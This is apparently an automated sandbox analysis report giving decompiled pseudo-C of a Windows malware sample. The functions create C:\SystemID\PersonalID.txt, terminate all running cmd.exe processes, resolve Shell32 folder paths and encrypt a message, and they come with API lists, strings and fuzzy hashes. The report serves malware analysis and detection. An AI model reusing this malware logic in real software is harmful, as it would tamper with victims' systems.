									if( *((intOrPtr*)(_t146 + 0x14)) >= 8) {
										L00422587( *_t146);
										_t153 = _t153 + 4;
									}
									 *((intOrPtr*)(_t146 + 0x14)) = 7;
									 *(_t146 + 0x10) = 0;
									 *_t146 = 0;
									_t146 = _t146 + 0x18;
									__eflags = _t146 - _t138;
								} while (_t146 != _t138);
								goto L53;
							}
							_t123 = _v20;
							do {
								__eflags =  *((intOrPtr*)(_t143 + 0x14)) - 8;
								if(__eflags < 0) {
									_t86 = _t143;
								} else {
									_t86 =  *_t143;
								}
								_push(_t123);
								_push(_t86);
								E004228FD(_t123, _t135, _t138, _t143, __eflags);
								_t143 = _t143 + 0x18;
								_t153 = _t153 + 8;
								__eflags = _t143 - _t138;
							} while (_t143 != _t138);
							_t121 = _v32;
							goto L47;
						}
						L33:
						if(_t121 == 0) {
							goto L54;
						}
						_t147 = _t121;
						if(_t121 == _t138) {
							goto L53;
						}
						do {
							if( *((intOrPtr*)(_t147 + 0x14)) >= 8) {
								L00422587( *_t147);
								_t153 = _t153 + 4;
							}
							 *((intOrPtr*)(_t147 + 0x14)) = 7;
							 *(_t147 + 0x10) = 0;
							 *_t147 = 0;
							_t147 = _t147 + 0x18;
						} while (_t147 != _t138);
						goto L53;
					}
					while(1) {
						_t91 =  >=  ? _a4 :  &_a4;
						_t79 = E00414C60(_t142,  >=  ? _a4 :  &_a4, 0, _a20);
						if(_t79 != 0xffffffff) {
							goto L33;
						}
						_t142 = _t142 + 0x18;
						if(_t142 != _t138) {
							continue;
						}
						goto L32;
					}
					goto L33;
				}
				_t92 = E00420546(_t77);
				_t155 = _t153 + 4;
				_t158 = _t92;
				if(_t92 != 0) {
					L27:
					_push(_v20);
					E00423A38(_t121, _t138, _t141, _t166);
					_t153 = _t155 + 4;
					goto L28;
				} else {
					do {
						_push(_v20);
						_push(0x7e);
						_push( &_v316);
						_t95 = E00421101(_t121, _t138, _t141, _t158);
						_t156 = _t155 + 0xc;
						if(_t95 == 0) {
							goto L26;
						}
						_v36 = 7;
						_v40 = 0;
						_v56 = 0;
						if(_v316 != 0) {
							_t126 =  &_v316;
							_t135 = _t126 + 2;
							do {
								_t98 =  *_t126;
								_t126 = _t126 + 2;
								__eflags = _t98;
							} while (_t98 != 0);
							_t127 = _t126 - _t135;
							__eflags = _t127;
							_t128 = _t127 >> 1;
							goto L9;
						} else {
							_t128 = 0;
							L9:
							_push(_t128);
							_t129 =  &_v56;
							E00415C10(_t121,  &_v56, _t138, _t141,  &_v316);
							_t101 =  &_v56;
							_v8 = 2;
							if(_t101 >= _t138 || _t121 > _t101) {
								__eflags = _t138 - _t141;
								if(_t138 == _t141) {
									E00414F70(_t121,  &_v32, _t138, _t129);
									_t138 = _v28;
									_t121 = _v32;
								}
								__eflags = _t138;
								if(_t138 != 0) {
									 *((intOrPtr*)(_t138 + 0x14)) = 7;
									 *(_t138 + 0x10) = 0;
									 *_t138 = 0;
									__eflags = _v36 - 8;
									if(_v36 >= 8) {
										 *_t138 = _v56;
										_v56 = 0;
									} else {
										_t109 =  &(_v40->nLength);
										__eflags = _t109;
										if(_t109 != 0) {
											E004205A0(_t138,  &_v56, _t109 + _t109);
											_t156 = _t156 + 0xc;
										}
									}
									 *(_t138 + 0x10) = _v40;
									 *((intOrPtr*)(_t138 + 0x14)) = _v36;
									__eflags = 0;
									_v36 = 7;
									_v40 = 0;
									_v56 = 0;
								}
							} else {
								_t132 = _t101 - _t121;
								_t135 = 0x2aaaaaab * (_t101 - _t121) >> 0x20 >> 2;
								_t150 = (0x2aaaaaab * (_t101 - _t121) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t101 - _t121) >> 0x20 >> 2);
								if(_t138 == _v24) {
									E00414F70(_t121,  &_v32, _t138, _t132);
									_t138 = _v28;
									_t121 = _v32;
								}
								_t117 = _t121 + (_t150 + _t150 * 2) * 8;
								if(_t138 != 0) {
									E00413160(_t138, _t117);
								}
							}
							_t138 = _t138 + 0x18;
							_v8 = 1;
							_v28 = _t138;
							if(_v36 >= 8) {
								L00422587(_v56);
								_t156 = _t156 + 4;
							}
							_t141 = _v24;
						}
						L26:
						_t96 = E00420546(_v20);
						_t155 = _t156 + 4;
						_t166 = _t96;
					} while (_t96 == 0);
					goto L27;
				}
			}

0x0040c743
0x0040c745
0x0040c750
0x0040c751
0x0040c761
0x0040c768
0x0040c76a
0x0040c76c
0x0040c76f
0x0040c771
0x0040c774
0x0040c781
0x0040c785
0x0040c78a
0x0040c78d
0x0040c792
0x0040c911
0x0040c911
0x0040c915
0x0040c944
0x0040c94b
0x0040c95b
0x0040c960
0x0040c963
0x0040c968
0x0040c9af
0x0040c9b1
0x0040c9b3
0x0040c9d8
0x0040c9d8
0x0040c9df
0x0040c9e2
0x0040c9e6
0x0040c9e7
0x0040c9e8
0x0040c9ed
0x0040c9ee
0x0040c9f3
0x0040c9f8
0x0040c9f9
0x0040c9fe
0x0040ca01
0x0040ca03
0x0040ca43
0x0040ca47
0x0040ca4c
0x0040ca51
0x0040ca59
0x0040ca64
0x0040ca64
0x0040ca05
0x0040ca07
0x0040ca09
0x0040ca3a
0x0040ca3b
0x0040ca40
0x00000000
0x0040ca40
0x0040ca10
0x0040ca10
0x0040ca14
0x0040ca18
0x0040ca1d
0x0040ca1d
0x0040ca22
0x0040ca29
0x0040ca30
0x0040ca33
0x0040ca36
0x0040ca36
0x00000000
0x0040ca10
0x0040c9b5
0x0040c9b8
0x0040c9b8
0x0040c9bc
0x0040c9c2
0x0040c9be
0x0040c9be
0x0040c9be
0x0040c9c4
0x0040c9c5
0x0040c9c6
0x0040c9cb
0x0040c9ce
0x0040c9d1
0x0040c9d1
0x0040c9d5
0x00000000
0x0040c9d5
0x0040c96a
0x0040c96c
0x00000000
0x00000000
0x0040c972
0x0040c976
0x00000000
0x00000000
0x0040c980
0x0040c984
0x0040c988
0x0040c98d
0x0040c98d
0x0040c992
0x0040c999
0x0040c9a0
0x0040c9a3
0x0040c9a6
0x00000000
0x0040c9aa
0x0040c920
0x0040c92c
0x0040c933
0x0040c93b
0x00000000
0x00000000
0x0040c93d
0x0040c942
0x00000000
0x00000000
0x00000000
0x0040c942
0x00000000
0x0040c920
0x0040c799
0x0040c79e
0x0040c7a1
0x0040c7a3
0x0040c906
0x0040c906
0x0040c909
0x0040c90e
0x00000000
0x0040c7b0
0x0040c7b0
0x0040c7b0
0x0040c7b9
0x0040c7bb
0x0040c7bc
0x0040c7c1
0x0040c7c6
0x00000000
0x00000000
0x0040c7ce
0x0040c7d5
0x0040c7dc
0x0040c7e7
0x0040c7ed
0x0040c7f3
0x0040c7f6
0x0040c7f6
0x0040c7f9
0x0040c7fc
0x0040c7fc
0x0040c801
0x0040c801
0x0040c803
0x00000000
0x0040c7e9
0x0040c7e9
0x0040c805
0x0040c805
0x0040c80d
0x0040c810
0x0040c815
0x0040c818
0x0040c81e
0x0040c861
0x0040c863
0x0040c869
0x0040c86e
0x0040c871
0x0040c871
0x0040c874
0x0040c876
0x0040c87a
0x0040c881
0x0040c888
0x0040c88b
0x0040c88f
0x0040c8ac
0x0040c8ae
0x0040c891
0x0040c894
0x0040c894
0x0040c895
0x0040c89f
0x0040c8a4
0x0040c8a4
0x0040c895
0x0040c8b8
0x0040c8be
0x0040c8c1
0x0040c8c3
0x0040c8ca
0x0040c8d1
0x0040c8d1
0x0040c824
0x0040c82b
0x0040c82f
0x0040c837
0x0040c83c
0x0040c842
0x0040c847
0x0040c84a
0x0040c84a
0x0040c850
0x0040c855
0x0040c85a
0x0040c85a
0x0040c855
0x0040c8d5
0x0040c8d8
0x0040c8e0
0x0040c8e3
0x0040c8e8
0x0040c8ed
0x0040c8ed
0x0040c8f0
0x0040c8f0
0x0040c8f3
0x0040c8f6
0x0040c8fb
0x0040c8fe
0x0040c8fe
0x00000000
0x0040c7b0

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52
processCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00412440() {
				char _v524;
				long _v552;
				void* _v560;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t8;
				int _t11;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t21;

				_t18 = CreateToolhelp32Snapshot(0xf, 0);
				_v560 = 0x22c;
				_push( &_v560);
				_t8 = Process32FirstW(_t18);
				_t17 = CloseHandle;
				if(_t8 == 0) {
					L7:
					return CloseHandle(_t18);
				}
				_push(_t19);
				do {
					_t11 = E00420235(_t17, _t18, _t19,  &_v524, L"cmd.exe");
					_t21 = _t21 + 8;
					if(_t11 == 0) {
						_t19 = OpenProcess(1, _t11, _v552);
						if(_t19 != 0) {
							TerminateProcess(_t19, 9);
							CloseHandle(_t19);
						}
					}
				} while (Process32NextW(_t18,  &_v560) != 0);
				goto L7;
			}

0x00412455
0x00412457
0x00412467
0x00412469
0x0041246f
0x00412477
0x004124cc
0x004124d4
0x004124d4
0x00412479
0x00412480
0x0041248c
0x00412491
0x00412496
0x004124a7
0x004124ab
0x004124b0
0x004124b7
0x004124b7
0x004124ab
0x004124c7
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040F310(void* __edi, void* __esi, char _a4, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v56;
				intOrPtr _v60;
				signed int _v64;
				short _v80;
				intOrPtr _v84;
				signed int _v88;
				char _v104;
				void* __ebx;
				void* __ebp;
				_Unknown_base(*)()* _t147;
				void* _t169;
				void* _t173;
				void* _t177;
				void* _t195;
				void* _t203;
				struct HINSTANCE__* _t221;
				signed int _t222;
				void* _t233;
				void* _t235;
				signed int _t238;
				short _t260;
				char _t261;
				intOrPtr _t266;
				void* _t267;
				void* _t268;
				void* _t269;

				_push(0xffffffff);
				_push(0x4caa98);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t266;
				_t267 = _t266 - 0x58;
				_v8 = 0;
				_t221 = LoadLibraryW(L"Shell32.dll");
				if(_t221 != 0) {
					_t147 = GetProcAddress(_t221, "SHGetFolderPathW");
					_t259 = _t147;
					E00413A90(_t221,  &_v32, __edi, 0x400);
					_v8 = 1;
					_t254 = _v32;
					 *_t147(0, 0x28, 0, 0, _v32, __edi, __esi);
					_push(_v20);
					_v36 = 7;
					_v40 = 0;
					_v56 = 0;
					E00418400( &_v56, _v32, _v28);
					_v8 = 2;
					_push(1);
					_v84 = 7;
					_v88 = 0;
					_v104 = 0;
					E00415C10(_t221,  &_v104, _t254, _t147, "\\");
					_v8 = 3;
					_push(1);
					_v60 = 7;
					_v64 = 0;
					_v80 = 0;
					E00415C10(_t221,  &_v80, _t254, _t147, "/");
					_v8 = 4;
					E0040F2B0( &_v56,  &_v80,  &_v104);
					_t268 = _t267 + 4;
					if(_v60 >= 8) {
						L00422587(_v80);
						_t268 = _t268 + 4;
					}
					_v8 = 2;
					_v60 = 7;
					_v64 = 0;
					_v80 = 0;
					if(_v84 >= 8) {
						L00422587(_v104);
						_t268 = _t268 + 4;
					}
					_push(1);
					_v84 = 7;
					_v88 = 0;
					_v104 = 0;
					E00415C10(_t221,  &_v104, _t254, _t259, "\\");
					_v8 = 5;
					_push(1);
					_v60 = 7;
					_v64 = 0;
					_v80 = 0;
					E00415C10(_t221,  &_v80, _t254, _t259, "/");
					_v8 = 6;
					E0040F2B0( &_a4,  &_v80,  &_v104);
					_t269 = _t268 + 4;
					if(_v60 >= 8) {
						L00422587(_v80);
						_t269 = _t269 + 4;
					}
					_v8 = 2;
					_v60 = 7;
					_v64 = 0;
					_v80 = 0;
					if(_v84 >= 8) {
						L00422587(_v104);
						_t269 = _t269 + 4;
					}
					_t260 = _v56;
					_t167 =  >=  ? _t260 :  &_v56;
					_t233 =  >=  ? _t260 :  &_v56;
					_v20 =  >=  ? _t260 :  &_v56;
					_t250 =  >=  ? _t260 :  &_v56;
					_t169 = _t233 + _v40 * 2;
					__eflags = ( >=  ? _t260 :  &_v56) - _t169;
					if(( >=  ? _t260 :  &_v56) != _t169) {
						_push(_t233);
						E00418380( &_v20, _t250, _t169, _v20);
						_t269 = _t269 + 0xc;
					}
					_t261 = _a4;
					_t171 =  >=  ? _t261 :  &_a4;
					_t235 =  >=  ? _t261 :  &_a4;
					_v20 =  >=  ? _t261 :  &_a4;
					_t252 =  >=  ? _t261 :  &_a4;
					_t173 = _t235 + _a20 * 2;
					__eflags = ( >=  ? _t261 :  &_a4) - _t173;
					if(( >=  ? _t261 :  &_a4) != _t173) {
						_push(_t235);
						E00418380( &_v20, _t252, _t173, _v20);
						_t269 = _t269 + 0xc;
					}
					_t267 = _t269 - 8;
					_v20 = 0x5c;
					if(E00414D40( &_v56,  &_v20) != 0xffffffff) {
						_t177 = E00413520( &_v56,  &_v104, 0, _t175);
						_t262 = _t177;
						if( &_v56 != _t177) {
							if(_v36 >= 8) {
								L00422587(_v56);
								_t267 = _t267 + 4;
							}
							_v36 = 7;
							_v40 = 0;
							_v56 = 0;
							E004145A0( &_v56, _t262);
						}
						if(_v84 >= 8) {
							L00422587(_v104);
							_t267 = _t267 + 4;
						}
						_t238 = _v40;
						_t180 =  >=  ? _v56 :  &_v56;
						if( *((short*)(( >=  ? _v56 :  &_v56) + _t238 * 2 - 2)) == 0x5c) {
							_t97 = _t238 - 1; // -1
							_t203 = E00413520( &_v56,  &_v104, 0, _t97);
							_t265 = _t203;
							if( &_v56 != _t203) {
								if(_v36 >= 8) {
									L00422587(_v56);
									_t267 = _t267 + 4;
								}
								_v36 = 7;
								_v40 = 0;
								_v56 = 0;
								E004145A0( &_v56, _t265);
							}
							if(_v84 >= 8) {
								L00422587(_v104);
								_t267 = _t267 + 4;
							}
						}
						_t239 = _a20;
						_t182 =  >=  ? _a4 :  &_a4;
						if( *((short*)(( >=  ? _a4 :  &_a4) + _a20 * 2 - 2)) == 0x5c) {
							_t239 =  &_a4;
							_t195 = E00413520( &_a4,  &_v104, 0,  &_a4 - 1);
							_t264 = _t195;
							if( &_a4 != _t195) {
								if(_a24 >= 8) {
									L00422587(_a4);
									_t267 = _t267 + 4;
								}
								_a24 = 7;
								_t239 =  &_a4;
								_a20 = 0;
								_a4 = 0;
								E004145A0( &_a4, _t264);
							}
							if(_v84 >= 8) {
								L00422587(_v104);
								_t267 = _t267 + 4;
							}
						}
						FreeLibrary(_t221);
						_t185 =  >=  ? _a4 :  &_a4;
						_t222 = _t221 & 0xffffff00 | E00417F00( &_v56, _t239, _v40,  >=  ? _a4 :  &_a4, _a20) == 0x00000000;
					} else {
						FreeLibrary(_t221);
						_t222 = 0;
					}
					if(_v36 >= 8) {
						L00422587(_v56);
						_t267 = _t267 + 4;
					}
					_v36 = 7;
					_v56 = 0;
					_t188 = _v32;
					_v40 = 0;
					if(_v32 != 0) {
						L00422587(_t188);
						_t267 = _t267 + 4;
					}
					goto L41;
				} else {
					_t222 = 0;
					L41:
					if(_a24 >= 8) {
						L00422587(_a4);
					}
					 *[fs:0x0] = _v16;
					return _t222;
				}
			}

0x0040f313
0x0040f315
0x0040f320
0x0040f321
0x0040f328
0x0040f331
0x0040f33e
0x0040f342
0x0040f353
0x0040f361
0x0040f363
0x0040f368
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37f
0x0040f38c
0x0040f394
0x0040f398
0x0040f39d
0x0040f3a4
0x0040f3a8
0x0040f3b4
0x0040f3bb
0x0040f3bf
0x0040f3c4
0x0040f3cb
0x0040f3cf
0x0040f3db
0x0040f3e2
0x0040f3e6
0x0040f3ee
0x0040f3f9
0x0040f3fe
0x0040f405
0x0040f40a
0x0040f40f
0x0040f40f
0x0040f414
0x0040f41c
0x0040f423
0x0040f42a
0x0040f42e
0x0040f433
0x0040f438
0x0040f438
0x0040f43b
0x0040f43f
0x0040f44e
0x0040f455
0x0040f459
0x0040f45e
0x0040f465
0x0040f469
0x0040f475
0x0040f47c
0x0040f480
0x0040f488
0x0040f493
0x0040f498
0x0040f49f
0x0040f4a4
0x0040f4a9
0x0040f4a9
0x0040f4ae
0x0040f4b6
0x0040f4bd
0x0040f4c4
0x0040f4c8
0x0040f4cd
0x0040f4d2
0x0040f4d2
0x0040f4db
0x0040f4e7
0x0040f4ea
0x0040f4ed
0x0040f4f0
0x0040f4f6
0x0040f4f9
0x0040f4fb
0x0040f4fd
0x0040f505
0x0040f50a
0x0040f50a
0x0040f513
0x0040f51f
0x0040f522
0x0040f525
0x0040f528
0x0040f52e
0x0040f531
0x0040f533
0x0040f535
0x0040f53d
0x0040f542
0x0040f542
0x0040f545
0x0040f548
0x0040f55e
0x0040f578
0x0040f57d
0x0040f584
0x0040f58a
0x0040f58f
0x0040f594
0x0040f594
0x0040f599
0x0040f5a4
0x0040f5ab
0x0040f5af
0x0040f5af
0x0040f5b8
0x0040f5bd
0x0040f5c2
0x0040f5c2
0x0040f5cc
0x0040f5cf
0x0040f5d9
0x0040f5db
0x0040f5e8
0x0040f5ed
0x0040f5f4
0x0040f5fa
0x0040f5ff
0x0040f604
0x0040f604
0x0040f609
0x0040f614
0x0040f61b
0x0040f61f
0x0040f61f
0x0040f628
0x0040f62d
0x0040f632
0x0040f632
0x0040f628
0x0040f63c
0x0040f63f
0x0040f649
0x0040f655
0x0040f658
0x0040f65d
0x0040f664
0x0040f66a
0x0040f66f
0x0040f674
0x0040f674
0x0040f679
0x0040f681
0x0040f684
0x0040f68b
0x0040f68f
0x0040f68f
0x0040f698
0x0040f69d
0x0040f6a2
0x0040f6a2
0x0040f698
0x0040f6a6
0x0040f6b6
0x0040f6c9
0x0040f560
0x0040f561
0x0040f567
0x0040f567
0x0040f6d2
0x0040f6d7
0x0040f6dc
0x0040f6dc
0x0040f6e1
0x0040f6e8
0x0040f6ec
0x0040f6ef
0x0040f6f8
0x0040f6fb
0x0040f700
0x0040f700
0x00000000
0x0040f344
0x0040f344
0x0040f703
0x0040f707
0x0040f70c
0x0040f711
0x0040f71a
0x0040f724
0x0040f724

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040CBA0(intOrPtr* __ecx, void* __eflags, char _a4, char _a20, intOrPtr _a24, char _a28, intOrPtr _a48) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				intOrPtr _v96;
				intOrPtr* _v100;
				char _v1124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t127;
				intOrPtr _t129;
				void* _t150;
				void* _t172;
				void* _t173;
				void* _t176;
				void* _t178;
				intOrPtr _t179;
				void* _t181;
				void* _t182;
				void* _t183;
				void* _t185;
				void* _t189;
				void* _t191;

				_push(0xffffffff);
				_push(0x4ca818);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t179;
				_push(_t150);
				_push(_t172);
				_v100 = __ecx;
				_push(0xffffffff);
				_v8 = 1;
				_v72 = 0xf;
				_v76 = 0;
				_v92 = 0;
				E00413FF0(_t150,  &_v92,  &_a28, 0);
				_v8 = 2;
				_push(1);
				_v48 = 0xf;
				_v52 = 0;
				_v68 = 0;
				E004156D0(_t150,  &_v68, _t172, "\n");
				_v8 = 3;
				_push(3);
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				E004156D0(_t150,  &_v44, _t172, "\\\\n");
				_v8 = 4;
				E0040F250( &_v92,  &_v44,  &_v68);
				_t181 = _t179 - 0x458 + 4;
				if(_v24 >= 0x10) {
					L00422587(_v44);
					_t181 = _t181 + 4;
				}
				_v8 = 2;
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				if(_v48 >= 0x10) {
					L00422587(_v68);
					_t181 = _t181 + 4;
				}
				_push(1);
				_v48 = 0xf;
				_v52 = 0;
				_v68 = 0;
				E004156D0(_t150,  &_v68, _t172, " ");
				_v8 = 5;
				_push(6);
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				E004156D0(_t150,  &_v44, _t172, "&#160;");
				_v8 = 6;
				E0040F250( &_v92,  &_v44,  &_v68);
				_t182 = _t181 + 4;
				if(_v24 >= 0x10) {
					L00422587(_v44);
					_t182 = _t182 + 4;
				}
				_v8 = 2;
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				if(_v48 >= 0x10) {
					L00422587(_v68);
					_t182 = _t182 + 4;
				}
				_push(1);
				_v48 = 0xf;
				_v52 = 0;
				_v68 = 0;
				E004156D0(_t150,  &_v68, _t172, "/");
				_v8 = 7;
				_push(2);
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				E004156D0(_t150,  &_v44, _t172, "\\/");
				_v8 = 8;
				_t171 =  &_v44;
				E0040F250( &_v92,  &_v44,  &_v68);
				_t183 = _t182 + 4;
				if(_v24 >= 0x10) {
					L00422587(_v44);
					_t183 = _t183 + 4;
				}
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				if(_v48 >= 0x10) {
					L00422587(_v68);
					_t183 = _t183 + 4;
				}
				_v20 = E00451D30();
				E0044F960(_t150, _t171, E00452510());
				_t120 =  >=  ? _v92 :  &_v92;
				_t151 = E004524A0(_t178,  >=  ? _v92 :  &_v92, _v76);
				E00452ED0(_t121,  &_v20, 0, 0);
				_t185 = _t183 + 0x1c;
				if(E00450960(_t151, _t171, _v72 - 0x10) == 0) {
					_t176 = E00420C62(_t151, _t171, _t172, E004527A0(_t171, __eflags, _v20));
					_t127 = E00420C62(_t151, _t171, _t172, 0x82);
					__eflags = _a24 - 0x10;
					_t173 = _t127;
					_t165 =  >=  ? _a4 :  &_a4;
					_t129 = _a20 + 1;
					_push(4);
					_push(_v20);
					_push(_t176);
					_push( >=  ? _a4 :  &_a4);
					E004525F0(_t129);
					_t189 = _t185 + 0x20;
					_v96 = _t129;
					__eflags = _t129 - 0xffffffff;
					if(_t129 != 0xffffffff) {
						E0044F5E0(_t151);
						E00451A60(_t171, _t178, _v20);
						_t191 = _t189 + 8;
						 *_v100 = _v96;
					} else {
						E00451FB0(_t151, _t173);
						E00450670(E00450960(_t151, _t171, __eflags), _t173);
						_push(_t173);
						_push("Error encrypting message: %s\n");
						_push(E00420E4D() + 0x40);
						E00422408(_t151, _t173, _t176, __eflags);
						_t191 = _t189 + 0x14;
						_t176 = 0;
					}
				} else {
					E00450670(_t124,  &_v1124);
					_t191 = _t185 + 8;
					_t176 = 0;
				}
				if(_v72 >= 0x10) {
					L00422587(_v92);
					_t191 = _t191 + 4;
				}
				_v72 = 0xf;
				_v76 = 0;
				_v92 = 0;
				if(_a24 >= 0x10) {
					L00422587(_a4);
					_t191 = _t191 + 4;
				}
				_a24 = 0xf;
				_a20 = 0;
				_a4 = 0;
				if(_a48 >= 0x10) {
					L00422587(_a28);
				}
				 *[fs:0x0] = _v16;
				return _t176;
			}

0x0040cba3
0x0040cba5
0x0040cbb0
0x0040cbb1
0x0040cbbe
0x0040cbc0
0x0040cbc1
0x0040cbc4
0x0040cbc6
0x0040cbd6
0x0040cbdd
0x0040cbe4
0x0040cbe8
0x0040cbed
0x0040cbf4
0x0040cbfb
0x0040cc02
0x0040cc09
0x0040cc0d
0x0040cc12
0x0040cc19
0x0040cc20
0x0040cc27
0x0040cc2e
0x0040cc32
0x0040cc3a
0x0040cc45
0x0040cc4a
0x0040cc51
0x0040cc56
0x0040cc5b
0x0040cc5b
0x0040cc5e
0x0040cc66
0x0040cc6d
0x0040cc74
0x0040cc78
0x0040cc7d
0x0040cc82
0x0040cc82
0x0040cc85
0x0040cc8f
0x0040cc96
0x0040cc9d
0x0040cca1
0x0040cca6
0x0040ccad
0x0040ccb4
0x0040ccbb
0x0040ccc2
0x0040ccc6
0x0040ccce
0x0040ccd9
0x0040ccde
0x0040cce5
0x0040ccea
0x0040ccef
0x0040ccef
0x0040ccf2
0x0040ccfa
0x0040cd01
0x0040cd08
0x0040cd0c
0x0040cd11
0x0040cd16
0x0040cd16
0x0040cd19
0x0040cd23
0x0040cd2a
0x0040cd31
0x0040cd35
0x0040cd3a
0x0040cd41
0x0040cd48
0x0040cd4f
0x0040cd56
0x0040cd5a
0x0040cd62
0x0040cd67
0x0040cd6d
0x0040cd72
0x0040cd79
0x0040cd7e
0x0040cd83
0x0040cd83
0x0040cd8a
0x0040cd91
0x0040cd98
0x0040cd9c
0x0040cda1
0x0040cda6
0x0040cda6
0x0040cdae
0x0040cdb7
0x0040cdc6
0x0040cdd5
0x0040cdde
0x0040cde3
0x0040cded
0x0040ce1a
0x0040ce21
0x0040ce2c
0x0040ce30
0x0040ce35
0x0040ce39
0x0040ce3a
0x0040ce3c
0x0040ce3f
0x0040ce40
0x0040ce42
0x0040ce47
0x0040ce4a
0x0040ce4d
0x0040ce50
0x0040ce82
0x0040ce8d
0x0040ce95
0x0040ce9b
0x0040ce52
0x0040ce52
0x0040ce5e
0x0040ce66
0x0040ce67
0x0040ce74
0x0040ce75
0x0040ce7a
0x0040ce7d
0x0040ce7d
0x0040cdef
0x0040cdf7
0x0040cdfc
0x0040cdff
0x0040cdff
0x0040cea1
0x0040cea6
0x0040ceab
0x0040ceab
0x0040ceb2
0x0040ceb9
0x0040cec0
0x0040cec4
0x0040cec9
0x0040cece
0x0040cece
0x0040ced5
0x0040cedc
